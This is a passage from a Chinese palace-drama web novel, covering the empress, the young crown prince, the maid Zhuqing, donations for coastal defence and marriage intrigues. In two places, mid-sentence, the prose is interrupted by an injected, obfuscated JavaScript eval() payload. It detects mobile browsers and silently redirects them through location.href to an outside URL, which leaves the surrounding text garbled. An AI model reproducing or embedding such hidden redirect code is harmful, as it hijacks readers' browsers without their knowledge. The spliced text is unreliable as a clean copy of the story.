“一切都好,母后每日让人送来的甜汤还有汤羹,儿臣觉得很是受用,温习功课也更加有劲儿。太子说,满后宫,也就是皇后会真心对他好。 “还有姐姐也会教人送粥水来,太后也让人送过两回,还问了儿臣的课业。 皇后知道这些事,不过对太子而言是好事,她说,“我让人给你送汤羹,是提醒你很晚了,要早点歇息,可不是让你喝了汤羹继续温习功课的。她满眼心疼,琮哥儿对自个的要求未免太高了。 “不说这个了好不好?儿子饿了,很想吃小厨房的鱼翅。 晚膳很快上了,曾妈妈站在一旁朗声报着菜名儿,一共十菜一汤,另有几碟子糕点,还有殿中省刚送来的应季水果。 竹清布菜,听着太子与皇后说道:“今儿儿臣去勤政殿,瞧见了一位宫女的穿戴明显不同。 这话隐晦,只是殿内所有人都明白了他的意思,只怕那个宫女伺候了陛 下,这才能与其他宫女有不同。 皇后依旧笑着给太子夹菜,只是眼里冷了几瞬,在孝期就宠幸宫女,皇帝这是不顾脸面了麽? “这事儿你不用管,你是儿子,千万别插手父亲的私事。”皇后提点他,待他点头,又好声好气地哄他吃菜,“多吃点蛋羹,补身子的。” “好,我都知道的,不管这些事,只是见了,想跟母后说说,早有个准备。”太子慢条斯理地吃着,涉及到后宫的事,当然是交给皇后了。 正如大家想的那般,昨个勤政殿里的确有一个宫女被临幸了,叫夏至的,比其他人先占了一个先机。 这会儿夏至满面春风,她面容长得像桃花一般,水嫩嫩又透着粉红,是很显眼的。其他宫女有的凑到她身边,有的暗自坐在一边嫉妒她。 “夏至姐姐,你是不是要做娘娘了?往后姐姐有了前程,可千万不要忘了咱们这些姐姐妹妹,若是能去伺候姐姐,也是我的福气。”至于是真心想去伺候夏至,还是想有更多的机会接近陛下,这就不得而知了。 “再说罢,我有些累了。”夏至揉了揉腰,一脸的骄矜,她自觉与其他宫女不一样了,所以抬了抬下巴,扫了一眼围观的宫女们,说道:“若是陛下允许,我肯定让你们做个一等宫女。” 她想着,既然伺候了陛下,那麽她怎麽样也要当个贵人美人了罢?亦或者陛下怜惜她,给她做个嫔主子,熬几年,当个贵嫔,日子也就滋润了。 只是夏至没有想到的是,她先等到的,不是陛下封赏的圣旨,而是被嬷嬷挑了错处,陛下开口,贬到了行宫去。 杀鸡儆猴一出,其他小宫女们都收敛了不少,如果伺候了陛下还得了一个这样的下场,那还不如本本分分当个御前小宫女算了,这也是一份不错的差事。 * 沿海一带抗击倭寇的战事初次告捷,只是一趟就损毁了一艘大船,几百人,别看好似不多,只是倭寇一直骚/扰,他们还会再来的。 前朝为着新式海船的事吵翻天之时,皇后正在椒房殿内与夫人们说话。话题不经意间拐个弯,就说到了捐款的事。 既然都到了椒房殿,夫人们肯定不会拒绝,这个说捐五万两,那个说捐八万两,加起来也就不少了。 唐国公府的世子夫人 捐赠最多,九万五千两,她一脸认真地说道:“这是为国为沿海的大事,妾身携唐国公府上下捐出这银子给皇后娘娘,也为海防做一点贡献。” 有这几个夫人带头,想必她们回去后,盛京城其他夫人也会陆陆续续跟着捐款,凑起来就不少了。 很有默契的,在捐款多达三百多万两时,朝堂之上的官员们都噤声了,三百多万两不少了,全部用在造船局,让一些官员心抽疼,偏偏这银子本就是打着“为海防”的名头,他们不能另作他用。 “既然沿海一带不平静,那就让造船局得了银子立马造新式海船,朕要见到成果,不要和朕说欠这个材料缺那个原件。”皇帝初俱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13465538|131526||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 威严,一番话让大臣们皆俯首应是。 另外,对于捐款多的各府,陛下也都赏赐了东西,再有就是远在羌族地界的文英公主,陛下大手一挥,直接让人赏了好些昂贵的物件。 赏赐快马加鞭送去羌族,倒意外地帮了文英公主一个大忙。 * 既然成了皇子,统一在书原宫住的哥儿们都需要去勤学殿读书,这还不止,一人两个伴读的祖训也要遵从,故而皇后又开始忙着伴读们进宫的事。 每个皇子的伴读都是皇帝钦点的,皇后需要为伴读们准备文房四宝、显示恩宠的四季衣裳等等。 按照长幼序齿,后宫一共有五位皇子,太子是嫡长子,二皇子是舒妃生的宁哥儿,四皇子是崔贵嫔生的铮哥儿,五皇子是柳妃生的铭哥儿,七皇子就是苗嫔生的沛哥儿。 “皇后娘娘,苗嫔闹起来了。”竹清进来,无奈地说道,现在就这麽几个人就整天闹腾,往后还得了? “怎的了这是?又是与陈嫔吵架了?”皇后打着哈欠问,这几天她忙,连带着整个人都疲惫不堪,眼下乌青都出来了。 “没呢,是殿中省的小太监开库房给伴读们做衣裳,结果发现有几匹布料被虫子咬了,衣料不大够,便只能等上一个月,新料子到了,才能制衣。有一两个伴读就暂且穿旁的衣裳制的料子。为着这事,苗嫔不乐意。因为殿中省说七皇子还小,他的伴读暂时穿其他料子的衣裳就比较省事,伴读们的衣裳等新一批料子进宫了再让绣娘做。”竹清解释,给伴读的衣裳都是特制的衣料,新料子还需要送进宫、登记入库、送去绣园,前前后 后花一个月肯定是要的。 殿中省挑软柿子捏,觉得苗嫔身份不够,七皇子是诸位皇子中最不出彩的,便让他受了委屈。 “殿中省越来越过分了,皇子岂是他们能看不起的?”皇后不满。 竹清默然,这事很正常啊,别说宫里的太监宫女们看菜下碟,就说外头的高门大户里,那更加是了,不受宠的哥儿姐儿待遇定是比不上旁人的。 还没等皇后吩咐,忽的就有小宫女来传话,是殿中省首领太监林忠海求见皇后娘娘。 “让他进来罢。”皇后颔首,原以为林忠海又有甚麽拿不准的事要询问,没成想他是来说明料子不够的事。 “启禀皇后娘娘,太子殿下今儿在勤学殿听闻了七皇子的话,便与殿中省说他的伴读暂且不必制衣,把那几匹料子让给七皇子的伴读。”林忠海说,他还有一些话没有说,当时刚刚下课,先生们还没有走,看了这一出,纷纷夸赞太子殿下爱护兄弟,有宽和容人的雅量。 是一位可堪大任的储君。 皇后心里高兴,问林忠海好些细节,待林忠海走后,她看向竹清,赞道:“太子仁心,不愧是本宫的好儿子。只是他委屈自己,本宫这心还有些难过。” 大概是孩子不论多大,母亲都觉得他还小。皇后看太子也是一样的,哪怕太子再沉稳,她终究会为他操心。 “太子殿下有礼让幼弟的美德,先生们都夸赞的,太子殿下愈发出色,娘娘只管安心。”竹清安抚了她几句。 咸福宫中,苗嫔听闻了太子殿下的善举,她咬了咬唇,对贴身宫女说道:“蕊儿,你说太子这个行为,是真心的麽?” 七皇子的脸面全乎了,她自然不会再说甚麽,只是她去殿中省是想要让这些低贱的太监重视七皇子,目的是敲打敲打他们。可如今,倒是让太子殿下出了风头。 蕊儿劝苗嫔,“主子看开些,真不真心的有何重要?太子殿下不是还派人去了殿中省,让他们好好办妥七皇子的事?左右太子殿下为咱们皇子出了头,这就是好的。” 说句不中听的,原本七皇子不受重视,太子这番行为,还让七皇子多了几分看重,日后殿中省也不敢太过分。 “主子,不若咱们也像崔贵嫔那般,日日去给皇后娘娘送汤汤水水,还有亲 手做一些帕子手巾子,也当是孝敬皇后娘娘了。”蕊儿看得明白,那崔贵嫔出身与自家主子相当,当初进府时同为侍妾。 可是崔贵嫔不急不躁,日日去给主母请安,主母有个头晕脑热的,她也是第一个去侍疾的。为着这个,入了东宫,她就成了良娣。 说不准是主母抬举她,所以蕊儿觉得,苗嫔也当学学崔贵嫔,讨好皇后娘娘,日后有幸大封六宫,皇后娘娘记住她的辛苦,也教她当个贵嫔,掌一宫主位。 苗嫔咬唇,“你说这话有道理,只是崔贵嫔已经做过这样的事了,我现在才去,会不会教旁人觉得,我学她?是个讨人厌的把子精?” 把子精就是一直把住人不放,从头到脚学旁人的一种人。 蕊儿说道:“主子,现下七皇子去了书原宫居住,主子不能时时去探望,讨好皇后娘娘,指不定娘娘一高兴,开恩让主子见一见七皇子呢!” “也是。”苗嫔最终点点头。 同住一个宫的李贵嫔此时也正听着宫女说话,得她信任的嬷嬷大胆地说道:“娘娘去亲近皇后娘娘,也能在陛下跟前露脸,到时候,陛下来咸福宫宠幸娘娘,老天爷开恩,教娘娘怀一个皇子,岂不是美哉。” 不然等明年后年新人入宫,还有自家娘娘甚麽事? “本宫都这个岁数了。”听见嬷嬷的话,李贵嫔心动了,要是能再有一个孩子,也能解了她的相思之苦,地位也更加稳固。 宫里长夜漫漫,难免寂寞,有个孩子就能打发时间。 “只是本宫都这个岁数了……”李贵嫔犹豫,她终究不年轻了,陛下会喜欢她麽? “我的娘娘哟,禧嫔与娘娘差不多年纪,不也有了身孕?娘娘比她,也不差哪里去。”嬷嬷说,禧嫔就是从前皇后娘娘的陪嫁,温冬。 后头皇后娘娘特意求陛下,赐了温冬一个封号,让她安心养胎。 可见,得了皇后娘娘的欢心,也不差的。 作者有话要说 第 74 章 竹清得了两个院子 第74章竹清得了两个院子 放出一批宫女后,又另外招进来五十人,这下子,可就有的霜玉姑姑忙了。 只这五十个新宫女,年龄都在十五左右,心性较之十岁左右的小宫女来说要成熟不少,遇事也能有胆子处理。 “进了宫,不可眉高眼低,走路的步子、手势、体态等等都是需要一一学习,通过了霜玉姑姑的认可,你们才可以分去各个宫里伺候主子。 “别想着一下子就能去娘娘们的宫里伺候,像你们这样的小宫女,都得慢慢做起来…… 一众小宫女看着台阶上静默的姑姑,皆觉得她很气派,半响,稀稀拉拉的声音在院子里响起,“奴婢们谨遵姑姑的教诲。 霜玉姑姑一看,就知道这批人还有得要教,她说,“你先教一教她们走路,还有让她们不要乱走,宫规甚麽的一定要让她们记得牢牢的。 “是。待手底下的人应了,霜玉姑姑缓步走向门口,方才还板着的脸一下子松了,露出一抹笑意,问道:“你怎的来了?今儿皇后娘娘吩咐的事情不多? 竹清收回视线,笑着扶住霜玉姑姑,“干娘哪儿的话?忙不忙的,就不能来找干娘了?皇后娘娘开恩,赏了我好些小厨房做的菜,我想着一个人吃没有意思,便带来了,预备着与干娘吃酒。 “你呀你。霜玉姑姑心里一阵熨帖,说没有动容是假的。哪怕当初她认竹清当干女儿是有目的的,可是相处下来,那点子算计早已消失,她们两个感情日渐深厚,仿佛真的是母女一般。 旧照是在霜玉姑姑的住处用饭,竹清先给霜玉姑姑夹了她最爱吃的烧鸡翅,随后才给自己夹了一个大鸡腿,她边吃边问道:“干娘,那起子人有没有再来找你? “没,自从你当了我干女儿后,宫里那个人就再不敢打探我的消息,那家子害怕你动手,早就搬得远远的,只不过我特意吩咐了老家那边的好友,让她看着点,一定要那家子倒霉。霜玉姑姑啃着烤鸡翅,美得眼睛都迷成一条缝。 “那就好。 “对了,你甚麽时候得空?咱们寻个时间,把我两个院子的屋契改成你的名字。霜玉姑姑说,这也是她之前答应过竹清的。 竹清想了想,说了一个日子。 “那日过后,我又要开始忙了,就不能隔三差五地来找干娘。竹清叹气,在霜玉姑姑这儿,她还是很轻松惬意,一起吃菜喝酒也快活。 “怎麽?霜玉姑姑疑惑,“最近没有听说宫里头有大事情需要忙碌? 像太后寿辰以及万寿节,太后提议她的寿辰不要大办,念着皇帝刚刚登基,这一年的万寿节就规模照旧,按照先帝的来。 “是皇后娘娘的娘家,姜大郎君进京当官,女眷家眷们稍后一个月跟来,皇后娘娘吩咐了我去府上送一些赏赐,也好看一看她们过得如何。竹清说,再之后就是忙碌两个主子的寿诞,可见有多忙。 “行。霜玉姑姑表示知道了。 * 二十一这日,霜玉姑姑与竹清出宫办了屋契的转移,只两张薄薄的纸,竹清就多了两个院子。 “盛京城萧条了不少。走在街边,霜玉姑姑感慨,以往这条街人声鼎沸,往来叫卖的小摊贩数都数不尽,如今却只剩下不敢高声招呼客人的大娘子们。 都是熬着的。 “我这回带你出来,除了办正经事,还有一事。霜玉姑姑缓慢地说,“暖玉姑姑你认不认得? “认得,殿中省里权力不小的姑姑。竹清说,“怎的,干娘与她很熟麽? “熟,只不过往常不常聚,我们结干亲的时候,她也没有来,避嫌呢。其中似乎有甚麽故事,但是霜玉姑姑却没有细说,她说起此事,“暖玉姑姑也是自梳的,不过她在外头租赁了一个院子,里头养着两个雀儿。 这里的雀儿是比较隐晦的说法,实际上就是男宠儿。 “啊?竹清有些惊讶,马上就想到了霜玉姑姑要去干甚麽,“干娘是受人所托,赶两个雀儿出门麽? 霜玉姑姑很喜欢竹清的机灵劲儿,她不住地点头,“不错,暖玉姑姑说今年多事之秋,沿海又开始打仗,她觉得这两年得低调些,便想着给一些银钱,让两个雀儿离开,再把租赁的院子退了。 这事不难,两个雀儿本就是做这一行的,没有了暖玉姑姑,再找就是,故而也不拖沓纠缠,很快就收拾行李离开了。 退了院子之后,霜玉姑姑又与竹清聊起雀儿,“想养麽?你 大了,难免觉得寂寞,养两个消遣,也不是不可以。像暖玉姑姑这般,租一个小的院子,平常得空就出宫来与他们顽上几回,倒也得趣儿。” 霜玉姑姑对这些不批判也不推崇,只不过竹清是她的干女儿,她想着竹清能快活快活,也是好的。 “咳咳咳。”竹清手捂住胸口,说道:“干娘,别说这些。”她的银钱只能花在事业上,怎麽能花在雀儿上? 如此插科打诨了一路,霜玉姑姑很快就回了教司坊,她刚打算问一问另外一个姑姑小宫女们学得如何,那个姑姑就先来寻她了。 “霜玉姑姑,今儿散了之后,有个叫招儿的小宫女问起竹清是谁,又说竹清很像她的堂姐。” 霜玉姑姑眉毛一拧,她是清楚竹清小时候遭遇的,父母先后去了,只留下她一个,偏偏叔伯不喜,伯娘婶婶不爱,还抢占了她父母留下来的东西。 这个叫招儿的小宫女,不会真的与竹清有血缘关系罢? “你让下边的人都紧着嘴皮,别嚼舌根子,若是让我知道谁在背后生事,阻碍了竹清,看我饶不饶你们。”霜玉姑姑眼神冷下来,心里已经对招儿上了心,预备着明日学规矩的时候,她再好好打量打量她。 * 竹清只在十年前,皇后生产的时候见过姜大夫人一回,这回是第二次,姜大夫人明显老了不少,如今要称呼她为姜家老夫人了。 老夫人面上有皱纹,却不是粗糙的衰老,而是金尊玉贵养着,富气的老,故而竹清瞧着,姜家老夫人多了几分和善。 “竹清姑娘来了。”知道椒房殿的掌事宫女要来,姜家老夫人早已吩咐几位儿媳陪着,又教厨房做一桌子宴席,与竹清吃个饭,在饭桌上好好问一问皇后娘娘的事。 “奴婢怎好劳动府里忙碌?真是罪过。”竹清客气地说,她与姜大夫人一左一右扶着老夫人。 “这可不是劳动,竹清姑娘是客人,贵客上门,岂有随随便便招待之理?”姜大夫人说,她是皇后娘娘的嫂子,却也不敢托大,竹清是皇后娘娘身边得用看重的姑娘,不是她能够看不起的。 宫女身份如何,也要看她伺候的是谁。 “皇后娘娘身子骨好不好?往常做些甚麽?还有太子殿下,长高了多少,近日学那些书,有没有累着……” 上了年纪姜家老夫人愈发爱絮叨更别提她问的这两个人都是她的心头宝。 “都好老夫人别急奴婢一一与你说。”竹清说在饭桌上她没吃到多少东西全在讲话了。 “老夫人三公子带了几个好友回府一众公子哥儿正打算给您请个安过后玩行酒令您看?”管家走进来禀报。 竹清知道三公子是姜大夫人的小儿子嫡幼子总是更受宠的姜家老夫人一听就赶忙说道:“快让他们进来。” 五个少年郎齐齐行礼十五六岁俱都是身姿风骨初成个个头戴玉冠、面容俊秀。他们穿的不重样你紫衣我蓝裳红袍绣绿枝玄衫制金爪打眼一看去险些晃了眼睛。 “见过老夫人见过各位夫人。”除去姜三公子其他四个人皆低头 “哟都是好孩子。”姜家老夫人听孙子介绍他们都是盛京城里有门户的公子身份不低这麽一想她就笑得更加和蔼可亲“你们年纪轻轻别陪着我这把老骨头去罢去晖哥儿的院里顽需要甚麽尽管打发了人来问就是只当是自个家里一样别拘泥。” 待姜大夫人又附和几句后晖哥儿就带他们退出去了姜家老夫人感慨道:“都是好哥儿。” 前程不小的。 自从皇帝换了人做她们姜家也发达起来了底下姐儿哥儿们交际的都是权贵们的孩子你来我往的往后哥儿姐儿们的婚事就不用愁了。 “欸晖哥儿方才老夫人身边的娘子是谁啊?咱们都没有与她见礼会不会失礼了?”紫衣的哥儿问像他们这样出来交际可千万不能失礼不然女眷们一传名声就有碍了。 晖哥儿也不知道她是谁不过倒是听闻姑姑今日派人来送赏赐想必她是姑姑身边的人罢? 只是面上他没有露出一丝不对只说道:“既然祖母没有让你们见礼你们就不必担心了。”这话的意思是老夫人身边的人根本不是其他府上的夫人自然不会与他们介绍让他们不必在意。 “霖哥儿你愣神做甚?还不快快走方才闹着要喝酒的不是你?”晖哥儿一转头发现归义大将军府上的霖哥儿不知何时走神了。 霖哥儿一身玄色衣袍比起他们高了一个 头,此刻低头的模样倒是不像北地男儿,有些肖似南边那些温润有情的哥儿。 “走。霖哥儿快步,长腿跨几下就跟上了他们。 如此在姜家待了一下午,把姜家走了一遍,竹清这才打道回府。 照旧是先梳洗过后才能去见皇后娘娘,红花争着抢着替她打水,连粗使嬷嬷都比不上她的速度,眼见没有出头,那粗使嬷嬷啐了一口,恨恨地说道:“呸!不知打哪儿来的贱蹄子,也敢与咱们争抢功劳? 谁不知道竹清姑娘有多得脸?她可是管着椒房殿的所有宫女太监,要是入了她的眼,可谓是飞黄腾达。 “你与她计较啥,她能抢一次,难不成次次都能抢?有人宽慰她,又低声提醒道:“她是竹清带回来的,说不得与她有亲,咱们还是先观望观望,不急着出头。 进椒房殿的宫女太监都是不甘于屈居人下的,像她们,使了银子贿赂管事把她们塞进来,也是想着有一份前程,她们若是能讨好竹清,往上升一升,自然是更好的。 “偏她得意。 一个后来的,居然也能比她们过得好。 只是她们也晓得利害关系,知道万万不能做出甚麽下作之举,故而一时之间,红花倒也过得肆意。 “你不必如此,这些事有粗使嬷嬷去做,何必你来动手?竹清刚从柜子里拿出一件衣裳,转头就见红花又开始帮她摆凳子。 “竹清姐姐不嫌弃我,我当然要为姐姐做事。红花狂摇头,就怕竹清不让她做了,她说,“姐姐对我有大恩,我岂能当个没事人? 若她真的遭了毒手,现在只怕抹了脖子上吊了,哪儿还能在这里忙活? “行了,你出去罢,我桌上的那一碟子糕点你拿去吃,皇后娘娘赏的,我没有动过。竹清说,她沐浴不习惯有人看着,倒是其他大宫女,要小宫女帮着擦身子。 “欸,多谢竹清姐姐。红花不敢乱看,竹清姐姐的房里都是她没有见过的好物件,连随手搭在架子上用来擦手的帕子,都是锦绣的。 桌上有糕点有瓜果,都是殿中省送来小厨房,品像上佳的就挑给皇后娘娘 ,剩下的由皇后娘娘开口,赏给了竹清。 看竹清姐姐的待遇,红花觉得一些低位妃嫔的日子都比不上她呢。她在心里暗自鼓气,往后好好当差,也做个像竹清一样有本事的宫女。 竹清泡完澡出来,天已经擦黑了,她的桌子上已经摆放好饭菜,三菜一汤,也是小厨房做的。 “红花。竹清一开门就看见了红花,她唤了一声,待红花小跑过来,她就指了指桌上吃剩下的饭菜,说道:“这是我没吃完的,还热乎着,你拿去吃了罢。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13465539|131526||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 谢谢竹清姐姐。红花语气里有一丝哽咽,顾着低头的她没注意到竹清的脚步停顿了一下,但是并没有停留,她说,“拿去吃了,你等会儿不是还要扫地?莫要耽误了差事。 “好。红花连带着食篮子一起拿走,竹清让她吃完直接拿回小厨房就可以了。 红花端着东西回了大通铺住处,早已吃完晚饭的小宫女们三三俩俩地凑在一起说话,她们有的捂住了肚子,这是撑的,把红花那一份晚饭也吃了大半,肚子顶得浑圆。 “哟,这是打哪儿来的篮子?竹清姐姐给的?一个宫女诧异地问,见红花点了点头,她就脸色变了变。 她们不敢明面上针对红花,但是像今日这样的委屈,她们暗地里给了不少,只是没想到,红花得了竹清姐姐的脸。 或许,她们得收一收,不能对红花太过分了。 红花不是个以德报怨的性子,这些宫女给了她眼色瞧,她就自顾自地把饭菜摆好,独自吃了起来。 竹清照例每日去东宫送甜汤,只是刚进东宫,就看见一个面容姣好的宫女被拖走,她被捂住嘴,显眼的是,衣袖湿了半边。 “奴婢见过太子殿下。 太子正好在擦手,有小太监拿了一身换下来的衣裳走出去,竹清直觉不太对,问了一句,“奴婢刚才看见了一个人被带走,太子殿下,可是她冒犯了您? “嗯,她意图勾引孤。太子冷冷淡淡地解释,他下巴朝书桌的位置抬了抬,说道:“方才孤在那儿练字,她侍墨的时候没个正形,孤就让人把她带走,送回殿中省重新调教。 像这样从东宫被退回去的宫女,下场一般不会好到哪里去。勾引太子,罪名不小。 古人早熟,一般 人家不计较那麽多,就让十一二岁的哥儿们破了身子,但是讲究一点的人家,都不会让公子哥儿们早早触碰这些事。 尤其是太子。皇后娘娘可是说了,明年开始给太子相看太子妃,挑个三四年,再由太子见过,又走礼甚麽的,大概在太子十六七岁时就能大婚。 “此事竹清姐姐告诉母后,把孤身边的宫女都换成太监,有异心的宫女可能不止一个两个。”太子边吃边说,“孤不想在这些小事上耗费心神,就有劳竹清姐姐了。” “奴婢知道了。”竹清说,她踏着黑暗回到了皇后宫中,就见皇后敷着她做的面膜歪在椅子上,懒懒散散地喝着东西。 待宫女喂完养身的固元汤后,皇后这才问竹清,“琮哥儿还好罢?有没有生病?” “没。”竹清回了,随后又说起了太子殿下遇见的事,果不其然,皇后震脸突变。 她能容忍陛下的后宫有源源不断的后妃,但是绝对不能容忍她的孩子才十岁出头就被坏了精气。 “那宫女呢?就这样退回殿中省?”皇后怒气冲冲,勾引也不看看是甚麽时候,现在还在国丧期间,若是太子被她勾动了心思,累了名声,该如何是好? 若是太子再大一点,这样的事她也就不管了。 “太子殿下只说她规矩学得不够,毛手毛脚坏了事情,并没有声张其他的。”竹清解释,又说道:“娘娘也明白,太子殿下这是不想与绯色桃情扯上关系,这样的事传出去了,到底于太子殿下名声有阻。” 皇后深呼吸几下,平静下来,“也是,琮哥儿做事向来有分寸,可恨她们一个个的都想攀高枝,明明安分守己好日子不会差了。” 竹清心下叹气,对于一部分小宫女来说,既然日后都是要成亲的,她们更想攀附太子殿下,身份地位一朝更改。 “罢了,琮哥儿说的那个理由挺好的,咱们不用画蛇添足,只是竹清你让教导她的管事嬷嬷不必客气,下了狠手去调教就是了。”皇后说,“至于其他侍奉的宫女,也不必一棒子打死,还是有那等尽心尽力的,忠心的就让人把她们重新分配,至于还有小心思的,也让嬷嬷调教调教。” “是。”竹清领了差事,着实又忙碌了一段时间,这事做得差不多了之后,又陆陆续续开始跟着皇后忙节庆。 只是今年多事之秋,节庆办得不算十分隆重,颇有几分没滋没味,连吟诗写赋的官员都少了,不过这都不干竹清的事,她只是忙进忙出,安排各项事宜。 不知何时入了冬,寒风平地起,忽的冲脸,忽的刺骨,又不停,夹杂着纷纷扬扬的小雪花,倒几日的功夫,就让盛京城蒙上了一层白霜。 “娘娘,上官氏家的大夫人与姐儿来与您请安了。 过了两场热热闹闹的礼宴之后,这大夫人才又进宫了。 上官氏家的大夫人还算年轻,她身后跟着一个姐儿,两人与皇后见了礼,坐在了同一边。 “夫人不必客气,这是上官家排行第几的姐儿?本宫似乎从未见过。皇后问,上官大夫人笑了笑,看向身侧的姐儿,说道:“还不快快见过皇后娘娘。 那姐儿起身,端端正正行礼,口齿清晰语速缓慢地说道:“上官氏九娘子参见皇后娘娘,皇后娘娘万福金安。娘娘是国母,日日忙碌,九娘子得以面见皇后娘娘,是九娘子的荣幸。 “这是哪儿的话。皇后脸上笑意深了许多,谁不喜欢听好话? 皇后与上官大夫人聊了好些,最后还赏赐了东西。等上官大夫人离开了椒房殿,她这才喃喃自语地说道:“也不知道她带着九娘子见太后是想做甚,婚事? 从前上官大夫人都是一个人进宫,这还是她为数不多带姐儿的。 八卦之心人人皆有,竹清放下油纸伞,与皇后说道:“怕是呢,那九娘子瞧着十二三岁的,正是谈婚事的时候。若是有合适的,让太后娘娘赐婚,岂不是一桩美谈。 只是这会儿皇后与竹清都没有聊到,上官大夫人是冲着她们来的。 作者有话要说 你的朋友正在书荒,快去帮帮他吧 第 75 章 腊八粥,科查尔动乱 第75章腊八粥,科查尔动乱 上官氏一族人多,能叫的上名字的哥儿姐儿们都是主脉的,故而九娘子这样的身份很尊贵,在外头早已被许多人家的夫人们探问过亲事。 太后原本以为,得她疼爱的九娘子日后会嫁给门当户对的哥儿,没成想,她这个嫂嫂,野心竟然这般大。 “这不成。”太后皱眉否决了上官大夫人方才说的话,“九娘子生性活泼,怎麽能在宫里头沉浮?何况,太子妃岂是咱们能做主的?” “太后……”上官大夫人唤了一声,“若是九娘子能当上太子妃,那就是正妻,是这大文朝未来国母,又有您护着,谁敢给她脸色瞧?” 她看向了九娘子,这个意外得来的女儿,是她三十多岁时难产生下来的,被她如珠如宝地养了十来年,如今挑夫婿,自然是要挑个好的。 难不成放着温润如玉、品行出众的太子不选,选那些只有一张脸皮但是样样不好的混账哥儿麽? “太子妃岂是那样好当的?”太后说,她想到了现在的皇后,当初她作太子妃的时候,她给她派了许多差事练手,有些是一不小心就会踩坑里的。 所幸当时的太子妃聪明机敏,她身边的人也有本事,这才有惊无险地把差事办妥。 可是九娘子,以她来看,并不适合深宫,难不成日后她还要敲打九娘子,说让她摆出容人雅量,给陛下广纳后妃麽?到那时,只怕九娘子反而会怨上她这个姑母。 “太后,原先妾身也没有这一想法的,只是与九娘子议亲的两家哥儿,一家才十五六岁,居然已经在房中养了几个解闷的婢女。另外一家倒是没有这般不守规矩,只是我在宴席上见过两回,木头桩子似的,打一下我还嫌手疼,他都不给一点反应,没趣极了。”上官大夫人絮絮叨叨,言语里满是对九娘子的爱护,她是上官氏的夫人,所以许多哥儿都是见过的,早已排除了大部分的人。 好不容易挑到两个身份合适的,居然是如此不堪,思来想去的,忽的觉得尚未选太子妃的太子是一个很好的夫婿人选。 “九娘子当不得太子妃,嫂嫂被爱护之心蒙蔽了双眼,陛下受上官氏辖制,怎麽可能让太子的正妻出自上官氏?”太后说,若果真这样 ,上官氏可真就一家独大了,说不得,日后的帝王都流着上官氏的血脉。 太后微微叹气,她这个嫂嫂是低娶的,管家教导姐儿很出色,唯独这政事上的敏感度,却是缺了又缺。 九娘子听了这样多,到底是未出阁的姐儿,脖子和脸皮都红透了,眼角挂着泪珠儿,要哭不哭的模样。 “田息嬷嬷,扶九娘子去梳洗,再换一张帕子,去罢。”待九娘子被扶走,太后的话可就没有那麽委婉了,她说道:“嫂嫂瞧瞧,就九娘子这个心性,如何能周全平衡事情?她可以害羞,但是绝对不能哭。” “嫂嫂今日的话哀家就当没听见,你回去后哄着九娘子,让她别多心,其他的,莫要在她面前提。”太后说,上官大夫人不敢忤逆太后的话,只得点点头,应了。 上官大夫人倒是也有风范,这事不成了,她就与太后谈起别的事来,正是有关明文长公主的。 “听说封赏明文长公主的圣旨一下,盛京城好些人家的哥儿都暗里定下亲事了。”上官大夫人笑着说,当驸马的确不是一个轻松的活,稍微有些心气的哥儿都是不愿意的。 “这又如何,想要挑,总会挑出一个好的。”太后摆摆手,现在在孝期,哪怕背地里定了又如何?明面上没有走礼,这就是不被承认的,陛下看中,再不愿意也要作驸马。 有得臣子们选? * 入了寒冬,日子一下子就过得快了,临近年关,殿中省要准备给各家的年礼,由皇后过目。 年礼一般不会出现太大的变动,遵循往年的礼单就是,故而这事也不麻烦。 日子就这样一天一天地过去,很快便到了腊八节,宫中御膳房熬起了一锅一锅的腊八粥。 椒房殿的小厨房内也做了腊八粥,与御膳房的不同,小厨房熬的腊八粥鲜甜可口,重要的是一点都不腻味,竹清连着吃了两碗。 “竹清,你把腊八粥给琮哥儿送一些去,他那儿得了御膳房的腊八粥,那个不好吃。”皇后吩咐,竹清应了,当即就吩咐小宫女装食篮子。 到了东宫,却不止太子殿下一个人,还有几个年青的公子哥儿,有两个竹清也认得,一个是姜家的三公子晖哥儿,一个是那日与晖哥儿一起顽的哥儿,她不知道名字。 “奴婢见过 太子殿下。”竹清一来几人消了声音太子问道:“竹清姐姐可是来送腊八粥?赶巧父皇也让勤政殿的小厨房送了一些来甜滋滋的孤尝尝母后宫里的味道有何不同。去拿几副碗筷来让咱们都尝上一尝。” 太子殿下既然这样说竹清就立马把腊八粥摆好等碗筷拿上桌她又一碗一碗地舀好她说了一句“太子殿下可以食用了。” 约莫很是受用太子殿下夸了两句不独是他一个穿玄色衣袍的哥儿也夸了。 “霖哥儿恁喜欢这粥不若请太子殿下多匀一些给你?”晖哥儿开玩笑般说哪知霖哥儿却点点头说道:“你说得在理太子殿下我能否再吃第二碗?” 太子殿下抬手竹清又给霖哥儿盛了第二碗他吃得极其斯文又很快不过几口便喝完了一碗材料扎实的腊八粥。 “小心胀气都不许吃太多。”太子殿下管着他们他看向竹清“劳烦竹清姐姐回去告诉母后孤很喜欢椒房殿的吃食今儿打算在东宫设宴只是小厨房的吃食不合意还请母后吩咐椒房殿的小厨房做几样菜式送来。” “是太子殿下的话奴婢一定给皇后娘娘带到。”竹清说看时候不早了她也就不耽误几个哥儿聊天。 